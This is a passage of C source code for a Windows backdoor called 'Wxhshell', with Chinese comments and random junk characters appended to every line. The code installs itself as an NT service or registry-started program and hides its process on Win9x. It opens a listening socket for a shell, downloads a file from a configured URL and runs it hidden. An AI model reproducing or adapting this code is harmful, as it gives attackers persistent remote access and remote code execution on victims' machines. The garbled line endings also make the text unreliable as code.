ULONG UniqueProcessId; 5aBAr
ULONG InheritedFromUniqueProcessId; A%Xt|=^_
} PROCESS_BASIC_INFORMATION; Yz4_vePh+5
N%7{J
PROCNTQSIP NtQueryInformationProcess; m6MOW&
V~T@6S
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !" JfOu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yMZHUd
QDTBWM%
HANDLE hProcess; 8>7RxSF
PROCESS_BASIC_INFORMATION pbi; b1gaj"]
\.f}W_OF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G/d4f?RU
if(NULL == hInst ) return 0; Q|,B*b
K*IxUz(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -w;(cE
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v}sY|p"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
Og2vGzD
p1D[YeF4
if (!NtQueryInformationProcess) return 0; cO\-
'`|AI:L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FVB;\'/
if(!hProcess) return 0; \eGKkSy
@)>D))+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uK("<u|
'JZJFE7Z
CloseHandle(hProcess); 4g}FB+[u
xq%{}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BR v+.(S
if(hProcess==NULL) return 0; )i>[M"7
&3v&i*DG,I
HMODULE hMod; =H %-.m'f2
char procName[255]; FG%j{_Ez
unsigned long cbNeeded; \dlph
z305{B:Y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <]Wlx`=/D
dI*'!wK
CloseHandle(hProcess); DY{cQb
e,k2vp!<&
if(strstr(procName,"services")) return 1; // 以服务启动 /<&h@$NHH4
?\/qeGW6G
return 0; // 注册表启动 1^dJg8
} _TUt9}
$&Kq*m 0g
// 主模块 kvGCbRC
int StartWxhshell(LPSTR lpCmdLine) o<l 2 r
{ Fl{WAg
SOCKET wsl; ]DvO:tM
BOOL val=TRUE; |2`"1gt
int port=0; H]\Zn%.#
struct sockaddr_in door; 0rokR&Y-d
9p@C4oen
if(wscfg.ws_autoins) Install(); ?/M_~e.P
V8-h%|$p3W
port=atoi(lpCmdLine); 0IT@V5Gdj
#hL*rbpT
if(port<=0) port=wscfg.ws_port; j2M+]Zp.
2X88:
WSADATA data; V (rr"K+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }wwe}E-e
\aP6_g:N}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `7+j0kV)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9
L?;FY)_
door.sin_family = AF_INET; %8)W0WMe
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qn:kz*:
door.sin_port = htons(port); 0_ yP\m
XM|%^ry
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i3mAfDF
closesocket(wsl); 2UP,Tgn..
return 1; 7S$&S;
} PT9v*3Bq~
|%D%0TR&Q
if(listen(wsl,2) == INVALID_SOCKET) { Zg:gY"^
closesocket(wsl); !EF(*~r!9L
return 1; O'NW
Ebl/
} &hV Zx
Wxhshell(wsl); !OcENV
WSACleanup(); ~V)?>)T
~S; Z\
return 0; %*z-PT22
mzD^Y<LTd
} GZ}/leR
WxGSv#u
// 以NT服务方式启动 8
Op.eYe
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 59rY[&|
{ o%y;(|4t >
DWORD status = 0; V+Xl9v4O
DWORD specificError = 0xfffffff; I<h=Cj[[
>O]s&34
serviceStatus.dwServiceType = SERVICE_WIN32; :a3LS|W
serviceStatus.dwCurrentState = SERVICE_START_PENDING; )%Y
IGV;&
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Di=9mHC
serviceStatus.dwWin32ExitCode = 0; beZ(o?uK
serviceStatus.dwServiceSpecificExitCode = 0; UQd6/mD`e
serviceStatus.dwCheckPoint = 0; O.k\]'
serviceStatus.dwWaitHint = 0; AxCI 0
PI|`vC|yy&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VY'Q|[
if (hServiceStatusHandle==0) return; ; !$m1
dEp/dd~(&
status = GetLastError(); Jm(ixekp
if (status!=NO_ERROR) =qoRS0Qa
{ 2H[)1|]l
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~U}Mv{y
serviceStatus.dwCheckPoint = 0; m-1?\bs
serviceStatus.dwWaitHint = 0; [cU,!={
serviceStatus.dwWin32ExitCode = status; aW{L7N %
serviceStatus.dwServiceSpecificExitCode = specificError; EZ#gp^$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8&}~'4[b[$
return; xRDiRj
} &K:' #[3V
#iis/6"
serviceStatus.dwCurrentState = SERVICE_RUNNING; m/USC'U%
serviceStatus.dwCheckPoint = 0; tLX,+P2|
serviceStatus.dwWaitHint = 0; VRS 2cc
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 's@MQ!
*
} FMu!z
;Gm>O7"|@
// 处理NT服务事件,比如:启动、停止 r(uP!n1+
VOID WINAPI NTServiceHandler(DWORD fdwControl) (;6s)z
{ ,9ml>ji`=
switch(fdwControl) 73DlRt
*
{ E`p'L!z
case SERVICE_CONTROL_STOP: f =_^>>.
serviceStatus.dwWin32ExitCode = 0; a&/HSf_G
serviceStatus.dwCurrentState = SERVICE_STOPPED; t&c&KFK)I&
serviceStatus.dwCheckPoint = 0; pZ+j[!
serviceStatus.dwWaitHint = 0; T$b\Q
{ D6=HYqdj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BpT"~4oV5
} qj?2%mK`
return; Sa]Ek*
case SERVICE_CONTROL_PAUSE: V
4qtaHf
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5RA<Z.
break; !p%@Deu
case SERVICE_CONTROL_CONTINUE: F+j O*F2h
serviceStatus.dwCurrentState = SERVICE_RUNNING; e)pTC97^L
break; 0 K3Hf^>m
case SERVICE_CONTROL_INTERROGATE: jmW^`%;7
break; ~Q!~ eTw
}; B!q?_[k,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `
py}99G
} Ysk,w,K
pv$tTWk
// 标准应用程序主函数 S|2VP8xY9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G:Hj;&'2
{ Xu<FD jr
xw%)rm<t
// 获取操作系统版本 g.*&BXZi
OsIsNt=GetOsVer(); P06.1
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Nt[v;BnO
D=w9cKa
// 从命令行安装 9H$g?';
if(strpbrk(lpCmdLine,"iI")) Install(); $y6rvQ
2>S
3bH5C3(u
// 下载执行文件 7jezw'\=~
if(wscfg.ws_downexe) { )l2P}k7`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8*k oxS
WinExec(wscfg.ws_filenam,SW_HIDE); G^"H*a
} ]IXAucI]
S1C^+Sla]
if(!OsIsNt) { 0}-#b7eR
// 如果时win9x,隐藏进程并且设置为注册表启动 3L fTGO
HideProc(); B007x{-L
StartWxhshell(lpCmdLine); B/u*<k4
} T+W3_xIS X
else 8on[%Vk
if(StartFromService()) JFJIls
// 以服务方式启动 {F)E\)$G
StartServiceCtrlDispatcher(DispatchTable); ^fZGX<fH
else =dn1}
// 普通方式启动 =|#w.(3y
StartWxhshell(lpCmdLine); M5rwoyn
{3SdX
return 0; ris;Iu^v0
}